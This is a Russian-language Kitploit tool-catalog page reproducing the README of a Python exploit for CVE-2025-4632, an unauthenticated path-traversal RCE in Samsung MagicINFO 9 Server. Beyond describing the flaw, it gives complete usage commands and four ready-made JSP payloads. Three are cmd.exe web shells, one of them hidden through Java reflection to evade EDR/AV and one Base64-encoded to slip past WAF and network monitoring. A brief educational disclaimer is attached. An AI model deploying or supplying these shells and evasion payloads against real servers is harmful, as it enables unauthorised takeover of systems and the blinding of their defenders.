Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/digitalsurgn/cve-2025-4632_poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingРазработка Полезной Нагрузки
GitHubdigitalsurgn/cve-2025-4632_poc

CVE-2025-4632_POC

Этот репозиторий содержит скрипт Python для воспроизведения CVE-2025-4632, уязвимости неаутентифицированного удаленного выполнения кода (RCE) в сервере Samsung MagicINFO 9 (версии до 21.1052).

Репозиторий
114 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Samsung MagicINFO 9 Server Exploit (CVE-2025-4632)

Данный репозиторий содержит скрипт-реализацию на Python для CVE-2025-4632 — уязвимости неаутентифицированного удаленного выполнения кода (RCE) в Samsung MagicINFO 9 Server (версии до 21.1052).

Уязвимость вызвана некорректным ограничением имени пути в сервлете SWUpdateFileUploader. Используя обход пути (../../), неаутентифицированный злоумышленник может записать произвольные файлы с правами SYSTEM, что приводит к полной компрометации сервера.

Авторы и благодарности

  • Первоначальное обнаружение и автор шаблона: s4e-io (из сообщества ProjectDiscovery Nuclei (http/cves/2025/CVE-2025-4632.yaml)).
  • Методология: Данный скрипт является прямой программной реализацией логики, определённой в шаблоне CVE-2025-4632 для Nuclei.

Как это работает

Скрипт автоматизирует процесс создания легитимно выглядящего запроса на обновление устройства. Он эксплуатирует параметр fileName, внедряя последовательности обхода каталогов, чтобы выйти за пределы целевого каталога загрузки и записать файл непосредственно в корень веб-сервера (/MagicInfo/).

Скрипт выполняет два шага:

  1. POST-запрос: Отправляет нагрузку на /MagicInfo/servlet/SWUpdateFileUploader с путём обхода каталогов.
  2. GET-запрос (проверка): Автоматически пытается получить доступ к загруженному файлу по пути /MagicInfo/<filename> для подтверждения успешной эксплуатации.

Использование

root@kitploit:~
python exploit_magicinfo.py -t <TARGET_URL> -f <FILENAME> -d <PAYLOAD_DATA>

Аргументы:

  • -t / --target: Базовый URL цели (например, http://192.168.1.100:7001).
  • -f / --filename: Имя создаваемого файла (например, shell.jsp).
  • -d / --data: Необработанное содержимое, которое будет записано в файл.

Примеры нагрузок для пентестинга

Следующие нагрузки были успешно протестированы в ходе оценочных мероприятий. Они предназначены для демонстрации воздействия с обходом средств защиты конечных точек.

1. Безобидное подтверждение концепции (проверка влияния)

Используется для безопасного подтверждения выполнения JSP без срабатывания антивируса или EDR.

root@kitploit:~
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f poc.jsp -d '<% out.println("JSP Execution Confirmed. System time: " + new java.util.Date()); %>'

Доступ: http://<target>:7001/MagicInfo/poc.jsp

2. Стандартная командная оболочка JSP

Стандартная веб-оболочка JSP. Примечание: Она может быть обнаружена и помещена в карантин современными AV/EDR-решениями, что приведёт к ошибке 404 Not Found при проверке.

root@kitploit:~
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f cmd.jsp -d '<%@ page import="java.io.*" %><% String c = request.getParameter("c"); if (c != null) { Process p = Runtime.getRuntime().exec("cmd.exe /c " + c); BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream())); String l; out.print("<pre>"); while ((l = in.readLine()) != null) { out.println(l); } out.print("</pre>"); } %>'

Доступ: http://<target>:7001/MagicInfo/cmd.jsp?c=whoami

3. Обфусцированное выполнение команд (обход EDR/AV)

Используется, когда стандартная оболочка блокируется. Данная нагрузка использует Java Reflection, чтобы скрыть сигнатуру Runtime.getRuntime().exec от статического анализа.

root@kitploit:~
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f bypass.jsp -d '<%@ page import="java.io.*" %><% String s1 = "Run"; String s2 = "time"; String s3 = "ex"; String s4 = "ec"; Object rt = Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null); String c = request.getParameter("c"); if(c!=null){Process p = (Process)rt.getClass().getMethod(s3+s4, String.class).invoke(rt, "cmd.exe /c " + c); java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A"); out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'

Доступ: http://<target>:7001/MagicInfo/bypass.jsp?c=whoami /all

4. Продвинутая обфусцированная оболочка в Base64 (обход WAF и парсинга URL)

Настоятельно рекомендуется для сложных команд: Если вы получаете ошибку 400 Bad Request при попытке выполнить команды с пробелами, обратными слешами или специальными символами (например, dir c:\), это означает, что строгая проверка URI сервером или WAF блокирует запрос.

Данная продвинутая нагрузка ожидает, что команда будет закодирована в Base64 в URL. Она декодирует её на стороне сервера перед выполнением, полностью обходя фильтрацию URL и скрывая команду от сетевых мониторов.

root@kitploit:~
python exploit_magicinfo.py -t http://192.168.29.105:7001 -f b64.jsp -d '<%@ page import="java.io.*,java.util.Base64" %><% String s1="Run";String s2="time";String s3="ex";String s4="ec";Object rt=Class.forName("java.lang."+s1+s2).getMethod("get"+s1+s2).invoke(null);String c=request.getParameter("c");if(c!=null){byte[] decodedBytes = Base64.getDecoder().decode(c);String decodedCmd = new String(decodedBytes);Process p=(Process)rt.getClass().getMethod(s3+s4,String.class).invoke(rt,"cmd.exe /c "+decodedCmd);java.util.Scanner s=new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");out.print("<pre>"+(s.hasNext()?s.next():"")+"</pre>");} %>'

Примеры использования: Закодируйте команду в Base64 локально (например, echo -n "dir c:\" | base64), затем передайте её в параметр c.

  • whoami -> d2hvYW1p
    • Доступ: http://<target>:7001/MagicInfo/b64.jsp?c=d2hvYW1p
  • tasklist /svc -> dGFza2xpc3QgL3N2Yw==
    • Доступ: http://<target>:7001/MagicInfo/b64.jsp?c=dGFza2xpc3QgL3N2Yw==
  • dir c:\ -> ZGlyIGM6XA==
    • Доступ: http://<target>:7001/MagicInfo/b64.jsp?c=ZGlyIGM6XA==

Отказ от ответственности: Данный скрипт предназначен только для образовательных и авторизованных целей пентестинга.

Скачать инструмент